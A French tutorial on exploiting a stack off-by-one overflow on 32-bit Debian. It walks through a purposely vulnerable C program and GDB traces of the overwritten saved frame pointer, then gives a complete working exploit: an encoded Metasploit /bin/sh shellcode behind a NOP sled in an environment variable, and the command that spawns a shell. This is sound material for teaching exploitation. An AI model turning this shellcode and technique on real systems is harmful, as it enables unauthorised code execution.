off-by-one dans la stack sur GNU/Linux
Note : Ce qui suit a été réalisé sur une Debian GNU/Linux 3.1 (Sarge) i386.
Introduction
Pour cet article nous allons utiliser ce code source vulnérable (vuln.c) :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
#include <stdio.h>
#include <string.h>
#define LIMIT 1024
void func(char *arg)
{
char buffer[LIMIT];
int i;
for (i = 0; arg[i] != '\0' && i < LIMIT; i++)
{
buffer[i] = arg[i];
}
/* char buf[5];
* buf[5] = 0; // FAUX !
* le cinquième élément de buf se trouve à buf[4]
* 0 1 2 3 4
*/
buffer[LIMIT] = 0; // je déborde d'un char avec '\0'
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
printf("%s <arg>\n", argv[0]);
return 1;
}
func(argv[1]);
return 0;
}
|
Je compile avec l'option mpreferred-stack-boundary=2 :
gcc vuln.c -o vuln -mpreferred-stack-boundary=2
Dans cette source, nous pouvons voir que le null byte qui permet de terminer la chaîne de caractères contenue dans la variable "buffer" déborde d'un char la capacité de cette variable.
Rappel sur les appels de fonction en C
En C lorsqu'on appelle une fonction, deux mécanismes bien connus en assembleur sont créés : le prolog et l'epilog.
Le prolog est appelé à l'entrée de la fonction, donc avant son exécution. Il sert à préparer la pile ou la stack pour son bon déroulement.
Quant à l'epilog, il sert à restaurer la pile dans l’état où elle était avant l'appel de la fonction.
Voici à quoi correspond un prolog :
1
2
|
push ebp ; sauvegarde d'ebp
mov ebp,esp ; création du stack frame
|
Pour l'epilog, on peut en trouver de deux sortes, mais qui font exactement la même chose :
1
2
|
leave
ret ; pop l'adresse de la prochaine insn dans eip
|
Ou bien :
1
2
3
|
mov esp,ebp ; destruction du stack frame
pop ebp ; restaure ebp
ret ; pop l'adresse de la prochaine insn dans eip
|
Le bug
On va utiliser GDB et surveiller la valeur des registres.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
|
gdb -q ./vuln
(gdb) set disassembly-flavor intel
(gdb) disass func
Dump of assembler code for function func:
0x08048384 <func+0>: push ebp ; !! ebp saved
0x08048385 <func+1>: mov ebp,esp
0x08048387 <func+3>: sub esp,0x404
0x0804838d <func+9>: mov DWORD PTR [ebp-1028],0x0
0x08048397 <func+19>: mov eax,DWORD PTR [ebp-1028]
0x0804839d <func+25>: add eax,DWORD PTR [ebp+8]
0x080483a0 <func+28>: cmp BYTE PTR [eax],0x0
0x080483a3 <func+31>: je 0x80483d9 <func+85>
0x080483a5 <func+33>: cmp DWORD PTR [ebp-1028],0x3ff
0x080483af <func+43>: jle 0x80483b3 <func+47>
0x080483b1 <func+45>: jmp 0x80483d9 <func+85>
0x080483b3 <func+47>: lea eax,[ebp-1024]
0x080483b9 <func+53>: mov edx,eax
0x080483bb <func+55>: add edx,DWORD PTR [ebp-1028]
0x080483c1 <func+61>: mov eax,DWORD PTR [ebp-1028]
0x080483c7 <func+67>: add eax,DWORD PTR [ebp+8]
0x080483ca <func+70>: movzx eax,BYTE PTR [eax]
0x080483cd <func+73>: mov BYTE PTR [edx],al
0x080483cf <func+75>: lea eax,[ebp-1028]
0x080483d5 <func+81>: inc DWORD PTR [eax]
0x080483d7 <func+83>: jmp 0x8048397 <func+19>
0x080483d9 <func+85>: mov BYTE PTR [ebp],0x0 ; !! buffer[LIMIT] = 0; on déborde d'un char la capacité de la variable buffer
0x080483dd <func+89>: leave
0x080483de <func+90>: ret ; !! epilog de func()
End of assembler dump.
(gdb) disass main
Dump of assembler code for function main:
0x080483df <main+0>: push ebp
0x080483e0 <main+1>: mov ebp,esp
0x080483e2 <main+3>: sub esp,0xc
0x080483e5 <main+6>: cmp DWORD PTR [ebp+8],0x2
0x080483e9 <main+10>: je 0x8048409 <main+42>
0x080483eb <main+12>: mov eax,DWORD PTR [ebp+12]
0x080483ee <main+15>: mov eax,DWORD PTR [eax]
0x080483f0 <main+17>: mov DWORD PTR [esp+4],eax
0x080483f4 <main+21>: mov DWORD PTR [esp],0x8048544
0x080483fb <main+28>: call 0x80482b0 <_init+56>
0x08048400 <main+33>: mov DWORD PTR [ebp-4],0x1
0x08048407 <main+40>: jmp 0x8048420 <main+65>
0x08048409 <main+42>: mov eax,DWORD PTR [ebp+12]
0x0804840c <main+45>: add eax,0x4
0x0804840f <main+48>: mov eax,DWORD PTR [eax]
0x08048411 <main+50>: mov DWORD PTR [esp],eax
0x08048414 <main+53>: call 0x8048384 <func>
0x08048419 <main+58>: mov DWORD PTR [ebp-4],0x0 ; !! Après l'epilog de func(), ebp se retrouve avec son dernier byte écrasé par le '\0'
0x08048420 <main+65>: mov eax,DWORD PTR [ebp-4]
0x08048423 <main+68>: leave
0x08048424 <main+69>: ret ; !! epilog de main()
0x08048425 <main+70>: nop
0x08048426 <main+71>: nop
0x08048427 <main+72>: nop
0x08048428 <main+73>: nop
0x08048429 <main+74>: nop
0x0804842a <main+75>: nop
0x0804842b <main+76>: nop
0x0804842c <main+77>: nop
0x0804842d <main+78>: nop
0x0804842e <main+79>: nop
0x0804842f <main+80>: nop
End of assembler dump.
(gdb) b *0x08048419
Breakpoint 1 at 0x8048419
(gdb) r $(python -c 'print "a"*2048')
Starting program: /home/sysc4ll/off-by-one/vuln $(python -c 'print "a"*2048')
Breakpoint 1, 0x08048419 in main ()
(gdb) p $ebp
$1 = (void *) 0xbffff400 ; !! l'epilog de func() a eu lieu ; ebp se retrouve avec son dernier byte écrasé par le '\0'
(gdb) x/8x $ebp ; x/8x 0xbffff400
0xbffff400: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff410: 0x61616161 0x61616161 0x61616161 0x61616161
(gdb) c
Continuing.
Breakpoint 2, 0x08048424 in main ()
(gdb) p $ebp ; !! l'epilog de main() a eu lieu ; ebp contient nos 'a'
$2 = (void *) 0x61616161
(gdb) p $eip
$3 = (void *) 0x8048424
(gdb) p $esp
$4 = (void *) 0xbffff404
(gdb) x/8x $esp
0xbffff404: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff414: 0x61616161 0x61616161 0x61616161 0x61616161
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb)
|
Ici, nous voyons bien que le dernier byte d'ebp après l'epilog de func() est écrasé par le caractère null '\0' qui termine la chaîne de caractères.
Sa valeur est de 0xbffff400.
Si on regarde ce qu'il y a à l'adresse 0xbffff400 avec la commande x/8x $ebp ou x/8x 0xbffff400 on y voit nos 'a' sous forme hexadécimal : 0x61.
Donc, après l'epilog de func(), le haut de la pile pour main() contient nos 'a'.
Du coup, à l'epilog de main(), ebp va prendre comme valeur 0x61616161.
C'est durant l'instruction ret de main que ça plante, donc durant le pop de l'adresse de la prochaine insn dans eip
Le registre eip va donc également prendre la valeur 0x61616161, même si aucune instruction ne s'y trouve.
L'exploitation
Pour l'exploitation, je vais utiliser un shellcode provenant de Metasploit installé sur Kali GNU/Linux
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
msf6 > use payload/linux/x86/exec
msf6 payload(linux/x86/exec) > show options
Module options (payload/linux/x86/exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD no The command string to execute
msf6 payload(linux/x86/exec) > set CMD /bin/sh
CMD => /bin/sh
msf6 payload(linux/x86/exec) > generate -b '\x00'
# linux/x86/exec - 70 bytes
# https://metasploit.com/
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, MeterpreterDebugLevel=0,
# RemoteMeterpreterDebugFile=, CMD=/bin/sh,
# NullFreeVersion=false
buf =
"\xd9\xcf\xb8\x8f\x8e\xe2\xd6\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x0b\x83\xeb\xfc\x31\x43\x16\x03\x43\x16\xe2\x7a\xe4" +
"\xe9\x8e\x1d\xab\x8b\x46\x30\x2f\xdd\x70\x22\x80\xae\x16" +
"\xb2\xb6\x7f\x85\xdb\x28\x09\xaa\x49\x5d\x01\x2d\x6d\x9d" +
"\x3d\x4f\x04\xf3\x6e\xfc\xbe\x0b\x26\x51\xb7\xed\x05\xd5"
msf6 payload(linux/x86/exec) >
|
Je place ce shellcode dans une variable d'environnement :
1
2
3
4
5
6
|
export EGG=$(python -c 'print "\x90" * 1024 + \
"\xd9\xcf\xb8\x8f\x8e\xe2\xd6\xd9\x74\x24\xf4\x5b\x2b\xc9" + \
"\xb1\x0b\x83\xeb\xfc\x31\x43\x16\x03\x43\x16\xe2\x7a\xe4" + \
"\xe9\x8e\x1d\xab\x8b\x46\x30\x2f\xdd\x70\x22\x80\xae\x16" + \
"\xb2\xb6\x7f\x85\xdb\x28\x09\xaa\x49\x5d\x01\x2d\x6d\x9d" + \
"\x3d\x4f\x04\xf3\x6e\xfc\xbe\x0b\x26\x51\xb7\xed\x05\xd5"')
|
Pour trouver l'adresse sur laquelle jumper nous allons utiliser GDB pour chercher dans la stack les NOPs.
1
2
|
./vuln $(python -c 'print "aaaa" * 2048')
Segmentation fault (core dumped)
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
gdb -q -c core
Using host libthread_db library "/lib/libthread_db.so.1".
Core was generated by `./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x61616161 in ?? ()
(gdb) x/5000x $esp
0xbfffd808: 0x61616161 0x61616161 0x61616161 0x61616161
0xbfffd818: 0x61616161 0x61616161 0x61616161 0x61616161
(bla bla bla)
(bla bla bla)
0xbffffce8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffcf8: 0x90909090 0x90909090 0x90909090 0x90909090
(bla bla bla)
(gdb)
|
Je vais utiliser l'adresse 0xbffffce8 pour sauter dans les NOP (0x90) et finir par exécuter le shellcode :
1
2
|
sysc4ll@debian:~/off-by-one$ ./vuln $(python -c 'print "\xe8\xfc\xff\xbf" * 2048')
sh-2.05b$
|
W00t \o/